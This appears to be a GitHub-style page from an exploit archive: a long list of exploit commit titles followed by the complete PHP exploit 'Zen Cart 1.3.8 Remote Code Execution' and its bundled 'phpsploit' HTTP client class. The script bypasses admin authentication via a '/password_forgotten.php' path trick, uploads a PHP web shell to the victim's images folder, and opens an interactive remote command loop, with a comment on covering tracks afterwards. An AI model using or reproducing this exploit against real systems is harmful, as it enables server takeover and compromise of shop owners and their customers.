
395 changes to exploits/shellcodes EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) Electronics Workbench - '.ewb' Local Stack Overflow (PoC) BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) Easy Web Password 1.2 - Local Heap Memory Consumption (PoC) Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) ZoIPer 2.22 - Call-Info Remote Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) Nuked KLan 1.7.7 & SP4 - Denial of Service AIC Audio Player 1.4.1.587 - Local Crash (PoC) Xerox 4595 - Denial of Service WinMerge 2.12.4 - Project File Handling Stack Overflow Acoustica Mixcraft 1.00 - Local Crash SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC) Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption Spotify 0.8.2.610 - search func Memory Exhaustion Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC) WaveSurfer 1.8.8p4 - Memory Corruption (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow Light Audio Player 1.0.14 - Memory Corruption (PoC) Image Transfer IOS - Remote Crash (PoC) Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) VUPlayer 2.49 - '.cue' Universal Buffer Overflow Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH) Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH) Alleycode HTML Editor 2.2.1 - Local Buffer Overflow GPG2/Kleopatra 2.0.11 - Malformed Certificate Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH) Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3) QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow quickshare file share 1.2.1 - Directory Traversal (1) SPlayer 3.7 (build 2055) - Remote Buffer Overflow Acunetix 8 build 20120704 - Remote Stack Overflow Omeka 2.2.1 - Remote Code Execution D-Link DSL-2740R - Remote DNS Change D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution TorrentTrader 1.0 RC2 - SQL Injection WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion PHP DocWriter 0.3 - 'script' Remote File Inclusion phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion BrewBlogger 1.3.1 - 'printLog.php' SQL Injection e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion Gizzar 03162002 - 'index.php' Remote File Inclusion SH-News 0.93 - 'misc.php' Remote File Inclusion JSBoard 2.0.10 - 'login.php?table' Local File Inclusion XOOPS Module WF-Links 1.03 - 'cid' SQL Injection Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion EQdkp 1.3.2 - 'listmembers.php' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion CCMS 3.1 Demo - SQL Injection MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection AuraCMS 1.62 - Multiple SQL Injections sCssBoard (Multiple Versions) - 'pwnpack' Remote s EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion RevokeBB 1.0 RC11 - 'Search' SQL Injection Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection PHPortal 1.2 - Multiple Remote File Inclusions Libera CMS 1.12 - 'cookie' SQL Injection Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload WCMS 1.0b - Arbitrary Add Admin FOSS Gallery Admin 1.0 - Arbitrary File Upload MemHT Portal 4.0.1 - SQL Injection / Code Execution Mediatheka 4.2 - Blind SQL Injection Pligg 9.9.5b - Arbitrary File Upload / SQL Injection XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution Joomla! Component Casino 0.3.1 - Multiple SQL Injections s ZeusCart 2.3 - 'maincatid' SQL Injection ASP Football Pool 2.3 - Remote Database Disclosure LightNEasy sql/no-db 2.2.x - System Configuration Disclosure Zen Cart 1.3.8 - Remote Code Execution Joomla! Component com_pinboard - 'task' SQL Injection Joomla! Component com_bookflip - 'book_id' SQL Injection Messages Library 2.0 - Arbitrary Delete Message Arab Portal 2.2 - Blind Cookie Authentication Bypass Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion REZERVI 3.0.2 - Remote Command Execution Joomla! Component BF Quiz 1.0 - SQL Injection (2) E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection AJ Matrix DNA - SQL Injection Joomla! Component JE Story Submit - Local File Inclusion CF Image Hosting Script 1.3.82 - File Disclosure hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting CMSLogik 1.2.1 - Multiple Vulnerabilities C.P.Sub 4.5 - Authentication Bypass WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload PHPMailer < 5.2.20 - Remote Code Execution phpIPAM 1.4 - SQL Injection Joomla! 3.9.0 < 3.9.7 - CSV Injection
734 lines
No EOL
18 KiB
PHP
734 lines
No EOL
18 KiB
PHP
#!/usr/bin/php
|
|
<?php
|
|
|
|
#
|
|
# ------- Zen Cart 1.3.8 Remote Code Execution
|
|
# http://www.zen-cart.com/
|
|
# Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone!
|
|
# A new version (1.3.8a) is avaible on http://www.zen-cart.com/
|
|
#
|
|
# BlackH :)
|
|
#
|
|
|
|
error_reporting(E_ALL ^ E_NOTICE);
|
|
if($argc < 2)
|
|
{
|
|
echo "
|
|
=___________ Zen Cart 1.3.8 Remote Code Execution Exploit ____________=
|
|
========================================================================
|
|
| BlackH <Bl4ck.H@gmail.com> |
|
|
========================================================================
|
|
| |
|
|
| \$system> php $argv[0] <url> |
|
|
| Notes: <url> ex: http://victim.com/site (no slash) |
|
|
| |
|
|
========================================================================
|
|
";exit(1);
|
|
}
|
|
|
|
|
|
$url = $argv[1];
|
|
$trick = "/password_forgotten.php";
|
|
|
|
$xpl = new phpsploit();
|
|
$xpl->agent("Mozilla Firefox");
|
|
|
|
$real_kthxbye = remote_exec($url);
|
|
|
|
# Remote Code Execution Exploit
|
|
function remote_exec($url) {
|
|
global $xpl, $url, $trick;
|
|
|
|
echo "\n[-] Remote Code Execution";
|
|
|
|
if(!$xpl->get($url.'/admin/')) die("\n[!] error - the /admin/ directory is protected or don't exist.\n");
|
|
|
|
$n = substr(md5(rand(0, 1337)), 0, 5).".php"; # random php file
|
|
$code = '<?php system($_SERVER["HTTP_SHELL"]); ?>';
|
|
|
|
$form = array(frmdt_url => $url."/admin/record_company.php".$trick."?action=insert",
|
|
"record_company_name" => "0",
|
|
"record_company_image" => array(frmdt_type => "tgreal/suce", # it works ! o_O
|
|
frmdt_filename => $n,
|
|
frmdt_content => $code));
|
|
|
|
if($xpl->formdata($form)) echo "\n[!] Done - Start Shell: ".$n;
|
|
else die("\n[!] error - can't upload the shell\n");
|
|
|
|
print "\nrce@jah\$> ";
|
|
|
|
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN))))){
|
|
$xpl->addheader('SHELL',$cmd);
|
|
$xpl->get($url.'/images/'.$n);
|
|
print $xpl->getcontent()."\nrce@jah$> ";
|
|
# don't forget to "rm *.php" and exit
|
|
# you can use "Zen Cart 1.3.8 Remote SQL Execution Exploit"
|
|
# to clean the database (record_company & record_company_info)
|
|
}
|
|
}
|
|
|
|
/*
|
|
*
|
|
* Copyright (C) darkfig
|
|
*
|
|
* This program is free software; you can redistribute it and/or
|
|
* modify it under the terms of the GNU General Public License
|
|
* as published by the Free Software Foundation; either version 2
|
|
* of the License, or (at your option) any later version.
|
|
*
|
|
* This program is distributed in the hope that it will be useful,
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
* GNU General Public License for more details.
|
|
*
|
|
* You should have received a copy of the GNU General Public License
|
|
* along with this program; if not, write to the Free Software
|
|
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
|
|
*
|
|
* TITLE: PhpSploit Class
|
|
* REQUIREMENTS: PHP 4 / PHP 5
|
|
* VERSION: 2.0
|
|
* LICENSE: GNU General Public License
|
|
* ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt
|
|
* FILENAME: phpsploitclass.php
|
|
*
|
|
* CONTACT: gmdarkfig@gmail.com (french / english)
|
|
* GREETZ: Sparah, Ddx39
|
|
*
|
|
* DESCRIPTION:
|
|
* The phpsploit is a class implementing a web user agent.
|
|
* You can add cookies, headers, use a proxy server with (or without) a
|
|
* basic authentification. It supports the GET and the POST method. It can
|
|
* also be used like a browser with the cookiejar() function (which allow
|
|
* a server to add several cookies for the next requests) and the
|
|
* allowredirection() function (which allow the script to follow all
|
|
* redirections sent by the server). It can return the content (or the
|
|
* headers) of the request. Others useful functions can be used for debugging.
|
|
* A manual is actually in development but to know how to use it, you can
|
|
* read the comments.
|
|
*
|
|
* CHANGELOG:
|
|
*
|
|
* [2007-06-10] (2.0)
|
|
* * Code: Code optimization
|
|
* * New: Compatible with PHP 4 by default
|
|
*
|
|
* [2007-01-24] (1.2)
|
|
* * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
|
|
* * New: multipart/form-data enctype is now supported
|
|
*
|
|
* [2006-12-31] (1.1)
|
|
* * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
|
|
* * New: You can now call the getheader() / getcontent() function without parameters
|
|
*
|
|
* [2006-12-30] (1.0)
|
|
* * First version
|
|
*
|
|
*/
|
|
|
|
class phpsploit
|
|
{
|
|
var $proxyhost;
|
|
var $proxyport;
|
|
var $host;
|
|
var $path;
|
|
var $port;
|
|
var $method;
|
|
var $url;
|
|
var $packet;
|
|
var $proxyuser;
|
|
var $proxypass;
|
|
var $header;
|
|
var $cookie;
|
|
var $data;
|
|
var $boundary;
|
|
var $allowredirection;
|
|
var $last_redirection;
|
|
var $cookiejar;
|
|
var $recv;
|
|
var $cookie_str;
|
|
var $header_str;
|
|
var $server_content;
|
|
var $server_header;
|
|
|
|
|
|
/**
|
|
* This function is called by the
|
|
* get()/post()/formdata() functions.
|
|
* You don't have to call it, this is
|
|
* the main function.
|
|
*
|
|
* @access private
|
|
* @return string $this->recv ServerResponse
|
|
*
|
|
*/
|
|
function sock()
|
|
{
|
|
if(!empty($this->proxyhost) && !empty($this->proxyport))
|
|
$socket = @fsockopen($this->proxyhost,$this->proxyport);
|
|
else
|
|
$socket = @fsockopen($this->host,$this->port);
|
|
|
|
if(!$socket)
|
|
die("Error: Host seems down");
|
|
|
|
if($this->method=='get')
|
|
$this->packet = 'GET '.$this->url." HTTP/1.1\r\n";
|
|
|
|
elseif($this->method=='post' or $this->method=='formdata')
|
|
$this->packet = 'POST '.$this->url." HTTP/1.1\r\n";
|
|
|
|
else
|
|
die("Error: Invalid method");
|
|
|
|
if(!empty($this->proxyuser))
|
|
$this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."\r\n";
|
|
|
|
if(!empty($this->header))
|
|
$this->packet .= $this->showheader();
|
|
|
|
if(!empty($this->cookie))
|
|
$this->packet .= 'Cookie: '.$this->showcookie()."\r\n";
|
|
|
|
$this->packet .= 'Host: '.$this->host."\r\n";
|
|
$this->packet .= "Connection: Close\r\n";
|
|
|
|
if($this->method=='post')
|
|
{
|
|
$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
|
|
$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
|
|
$this->packet .= $this->data."\r\n";
|
|
}
|
|
elseif($this->method=='formdata')
|
|
{
|
|
$this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."\r\n";
|
|
$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
|
|
$this->packet .= $this->data;
|
|
}
|
|
|
|
$this->packet .= "\r\n";
|
|
$this->recv = '';
|
|
|
|
fputs($socket,$this->packet);
|
|
|
|
while(!feof($socket))
|
|
$this->recv .= fgets($socket);
|
|
|
|
fclose($socket);
|
|
|
|
if($this->cookiejar)
|
|
$this->getcookie();
|
|
|
|
if($this->allowredirection)
|
|
return $this->getredirection();
|
|
else
|
|
return $this->recv;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function allows you to add several
|
|
* cookies in the request.
|
|
*
|
|
* @access public
|
|
* @param string cookn CookieName
|
|
* @param string cookv CookieValue
|
|
* @example $this->addcookie('name','value')
|
|
*
|
|
*/
|
|
function addcookie($cookn,$cookv)
|
|
{
|
|
if(!isset($this->cookie))
|
|
$this->cookie = array();
|
|
|
|
$this->cookie[$cookn] = $cookv;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function allows you to add several
|
|
* headers in the request.
|
|
*
|
|
* @access public
|
|
* @param string headern HeaderName
|
|
* @param string headervalue Headervalue
|
|
* @example $this->addheader('Client-IP', '128.5.2.3')
|
|
*
|
|
*/
|
|
function addheader($headern,$headervalue)
|
|
{
|
|
if(!isset($this->header))
|
|
$this->header = array();
|
|
|
|
$this->header[$headern] = $headervalue;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function allows you to use an
|
|
* http proxy server. Several methods
|
|
* are supported.
|
|
*
|
|
* @access public
|
|
* @param string proxy ProxyHost
|
|
* @param integer proxyp ProxyPort
|
|
* @example $this->proxy('localhost',8118)
|
|
* @example $this->proxy('localhost:8118')
|
|
*
|
|
*/
|
|
function proxy($proxy,$proxyp='')
|
|
{
|
|
if(empty($proxyp))
|
|
{
|
|
$proxarr = explode(':',$proxy);
|
|
$this->proxyhost = $proxarr[0];
|
|
$this->proxyport = (int)$proxarr[1];
|
|
}
|
|
else
|
|
{
|
|
$this->proxyhost = $proxy;
|
|
$this->proxyport = (int)$proxyp;
|
|
}
|
|
|
|
if($this->proxyport > 65535)
|
|
die("Error: Invalid port number");
|
|
}
|
|
|
|
|
|
/**
|
|
* This function allows you to use an
|
|
* http proxy server which requires a
|
|
* basic authentification. Several
|
|
* methods are supported:
|
|
*
|
|
* @access public
|
|
* @param string proxyauth ProxyUser
|
|
* @param string proxypass ProxyPass
|
|
* @example $this->proxyauth('user','pwd')
|
|
* @example $this->proxyauth('user:pwd');
|
|
*
|
|
*/
|
|
function proxyauth($proxyauth,$proxypass='')
|
|
{
|
|
if(empty($proxypass))
|
|
{
|
|
$posvirg = strpos($proxyauth,':');
|
|
$this->proxyuser = substr($proxyauth,0,$posvirg);
|
|
$this->proxypass = substr($proxyauth,$posvirg+1);
|
|
}
|
|
else
|
|
{
|
|
$this->proxyuser = $proxyauth;
|
|
$this->proxypass = $proxypass;
|
|
}
|
|
}
|
|
|
|
|
|
/**
|
|
* This function allows you to set
|
|
* the 'User-Agent' header.
|
|
*
|
|
* @access public
|
|
* @param string useragent Agent
|
|
* @example $this->agent('Firefox')
|
|
*
|
|
*/
|
|
function agent($useragent)
|
|
{
|
|
$this->addheader('User-Agent',$useragent);
|
|
}
|
|
|
|
|
|
/**
|
|
* This function returns the headers
|
|
* which will be in the next request.
|
|
*
|
|
* @access public
|
|
* @return string $this->header_str Headers
|
|
* @example $this->showheader()
|
|
*
|
|
*/
|
|
function showheader()
|
|
{
|
|
$this->header_str = '';
|
|
|
|
if(!isset($this->header))
|
|
return;
|
|
|
|
foreach($this->header as $name => $value)
|
|
$this->header_str .= $name.': '.$value."\r\n";
|
|
|
|
return $this->header_str;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function returns the cookies
|
|
* which will be in the next request.
|
|
*
|
|
* @access public
|
|
* @return string $this->cookie_str Cookies
|
|
* @example $this->showcookie()
|
|
*
|
|
*/
|
|
function showcookie()
|
|
{
|
|
$this->cookie_str = '';
|
|
|
|
if(!isset($this->cookie))
|
|
return;
|
|
|
|
foreach($this->cookie as $name => $value)
|
|
$this->cookie_str .= $name.'='.$value.'; ';
|
|
|
|
return $this->cookie_str;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function returns the last
|
|
* formed http request.
|
|
*
|
|
* @access public
|
|
* @return string $this->packet HttpPacket
|
|
* @example $this->showlastrequest()
|
|
*
|
|
*/
|
|
function showlastrequest()
|
|
{
|
|
if(!isset($this->packet))
|
|
return;
|
|
else
|
|
return $this->packet;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function sends the formed
|
|
* http packet with the GET method.
|
|
*
|
|
* @access public
|
|
* @param string url Url
|
|
* @return string $this->sock()
|
|
* @example $this->get('localhost/index.php?var=x')
|
|
* @example $this->get('http://localhost:88/tst.php')
|
|
*
|
|
*/
|
|
function get($url)
|
|
{
|
|
$this->target($url);
|
|
$this->method = 'get';
|
|
return $this->sock();
|
|
}
|
|
|
|
|
|
/**
|
|
* This function sends the formed
|
|
* http packet with the POST method.
|
|
*
|
|
* @access public
|
|
* @param string url Url
|
|
* @param string data PostData
|
|
* @return string $this->sock()
|
|
* @example $this->post('http://localhost/','helo=x')
|
|
*
|
|
*/
|
|
function post($url,$data)
|
|
{
|
|
$this->target($url);
|
|
$this->method = 'post';
|
|
$this->data = $data;
|
|
return $this->sock();
|
|
}
|
|
|
|
|
|
/**
|
|
* This function sends the formed http
|
|
* packet with the POST method using
|
|
* the multipart/form-data enctype.
|
|
*
|
|
* @access public
|
|
* @param array array FormDataArray
|
|
* @return string $this->sock()
|
|
* @example $formdata = array(
|
|
* frmdt_url => 'http://localhost/upload.php',
|
|
* frmdt_boundary => '123456', # Optional
|
|
* 'var' => 'example',
|
|
* 'file' => array(
|
|
* frmdt_type => 'image/gif', # Optional
|
|
* frmdt_transfert => 'binary' # Optional
|
|
* frmdt_filename => 'hello.php,
|
|
* frmdt_content => '<?php echo 1; ?>'));
|
|
* $this->formdata($formdata);
|
|
*
|
|
*/
|
|
function formdata($array)
|
|
{
|
|
$this->target($array[frmdt_url]);
|
|
$this->method = 'formdata';
|
|
$this->data = '';
|
|
|
|
if(!isset($array[frmdt_boundary]))
|
|
$this->boundary = 'phpsploit';
|
|
else
|
|
$this->boundary = $array[frmdt_boundary];
|
|
|
|
foreach($array as $key => $value)
|
|
{
|
|
if(!preg_match('#^frmdt_(boundary|url)#',$key))
|
|
{
|
|
$this->data .= str_repeat('-',29).$this->boundary."\r\n";
|
|
$this->data .= 'Content-Disposition: form-data; name="'.$key.'";';
|
|
|
|
if(!is_array($value))
|
|
{
|
|
$this->data .= "\r\n\r\n".$value."\r\n";
|
|
}
|
|
else
|
|
{
|
|
$this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";
|
|
|
|
if(isset($array[$key][frmdt_type]))
|
|
$this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";
|
|
|
|
if(isset($array[$key][frmdt_transfert]))
|
|
$this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";
|
|
|
|
$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
|
|
}
|
|
}
|
|
}
|
|
|
|
$this->data .= str_repeat('-',29).$this->boundary."--\r\n";
|
|
return $this->sock();
|
|
}
|
|
|
|
|
|
/**
|
|
* This function returns the content
|
|
* of the server response, without
|
|
* the headers.
|
|
*
|
|
* @access public
|
|
* @param string code ServerResponse
|
|
* @return string $this->server_content
|
|
* @example $this->getcontent()
|
|
* @example $this->getcontent($this->get('http://localhost/'))
|
|
*
|
|
*/
|
|
function getcontent($code='')
|
|
{
|
|
if(empty($code))
|
|
$code = $this->recv;
|
|
|
|
$code = explode("\r\n\r\n",$code);
|
|
$this->server_content = '';
|
|
|
|
for($i=1;$i<count($code);$i++)
|
|
$this->server_content .= $code[$i];
|
|
|
|
return $this->server_content;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function returns the headers
|
|
* of the server response, without
|
|
* the content.
|
|
*
|
|
* @access public
|
|
* @param string code ServerResponse
|
|
* @return string $this->server_header
|
|
* @example $this->getcontent()
|
|
* @example $this->getcontent($this->post('http://localhost/','1=2'))
|
|
*
|
|
*/
|
|
function getheader($code='')
|
|
{
|
|
if(empty($code))
|
|
$code = $this->recv;
|
|
|
|
$code = explode("\r\n\r\n",$code);
|
|
$this->server_header = $code[0];
|
|
|
|
return $this->server_header;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function is called by the
|
|
* cookiejar() function. It adds the
|
|
* value of the "Set-Cookie" header
|
|
* in the "Cookie" header for the
|
|
* next request. You don't have to
|
|
* call it.
|
|
*
|
|
* @access private
|
|
* @param string code ServerResponse
|
|
*
|
|
*/
|
|
function getcookie()
|
|
{
|
|
foreach(explode("\r\n",$this->getheader()) as $header)
|
|
{
|
|
if(preg_match('/set-cookie/i',$header))
|
|
{
|
|
$fequal = strpos($header,'=');
|
|
$fvirgu = strpos($header,';');
|
|
|
|
// 12=strlen('set-cookie: ')
|
|
$cname = substr($header,12,$fequal-12);
|
|
$cvalu = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));
|
|
|
|
$this->cookie[trim($cname)] = trim($cvalu);
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
/**
|
|
* This function is called by the
|
|
* get()/post() functions. You
|
|
* don't have to call it.
|
|
*
|
|
* @access private
|
|
* @param string urltarg Url
|
|
* @example $this->target('http://localhost/')
|
|
*
|
|
*/
|
|
function target($urltarg)
|
|
{
|
|
if(!ereg('^http://',$urltarg))
|
|
$urltarg = 'http://'.$urltarg;
|
|
|
|
$urlarr = parse_url($urltarg);
|
|
$this->url = 'http://'.$urlarr['host'].$urlarr['path'];
|
|
|
|
if(isset($urlarr['query']))
|
|
$this->url .= '?'.$urlarr['query'];
|
|
|
|
$this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80;
|
|
$this->host = $urlarr['host'];
|
|
|
|
if($this->port != '80')
|
|
$this->host .= ':'.$this->port;
|
|
|
|
if(!isset($urlarr['path']) or empty($urlarr['path']))
|
|
die("Error: No path precised");
|
|
|
|
$this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);
|
|
|
|
if($this->port > 65535)
|
|
die("Error: Invalid port number");
|
|
}
|
|
|
|
|
|
/**
|
|
* If you call this function,
|
|
* the script will extract all
|
|
* 'Set-Cookie' headers values
|
|
* and it will automatically add
|
|
* them into the 'Cookie' header
|
|
* for all next requests.
|
|
*
|
|
* @access public
|
|
* @param integer code 1(enabled) 0(disabled)
|
|
* @example $this->cookiejar(0)
|
|
* @example $this->cookiejar(1)
|
|
*
|
|
*/
|
|
function cookiejar($code)
|
|
{
|
|
if($code=='0')
|
|
$this->cookiejar=FALSE;
|
|
|
|
elseif($code=='1')
|
|
$this->cookiejar=TRUE;
|
|
}
|
|
|
|
|
|
/**
|
|
* If you call this function,
|
|
* the script will follow all
|
|
* redirections sent by the server.
|
|
*
|
|
* @access public
|
|
* @param integer code 1(enabled) 0(disabled)
|
|
* @example $this->allowredirection(0)
|
|
* @example $this->allowredirection(1)
|
|
*
|
|
*/
|
|
function allowredirection($code)
|
|
{
|
|
if($code=='0')
|
|
$this->allowredirection=FALSE;
|
|
|
|
elseif($code=='1')
|
|
$this->allowredirection=TRUE;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function is called if
|
|
* allowredirection() is enabled.
|
|
* You don't have to call it.
|
|
*
|
|
* @access private
|
|
* @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection)
|
|
* @return string $this->get($this->last_redirection)
|
|
* @return string $this->recv;
|
|
*
|
|
*/
|
|
function getredirection()
|
|
{
|
|
if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))
|
|
{
|
|
$this->last_redirection = trim($codearr[2]);
|
|
|
|
if(!ereg('://',$this->last_redirection))
|
|
return $this->get('http://'.$this->host.$this->path.$this->last_redirection);
|
|
|
|
else
|
|
return $this->get($this->last_redirection);
|
|
}
|
|
else
|
|
return $this->recv;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function allows you
|
|
* to reset some parameters.
|
|
*
|
|
* @access public
|
|
* @param string func Param
|
|
* @example $this->reset('header')
|
|
* @example $this->reset('cookie')
|
|
* @example $this->reset()
|
|
*
|
|
*/
|
|
function reset($func='')
|
|
{
|
|
switch($func)
|
|
{
|
|
case 'header':
|
|
$this->header = array('');
|
|
break;
|
|
|
|
case 'cookie':
|
|
$this->cookie = array('');
|
|
break;
|
|
|
|
default:
|
|
$this->cookiejar = '';
|
|
$this->header = array('');
|
|
$this->cookie = array('');
|
|
$this->allowredirection = '';
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
?>
|
|
|
|
# milw0rm.com [2009-06-23]
|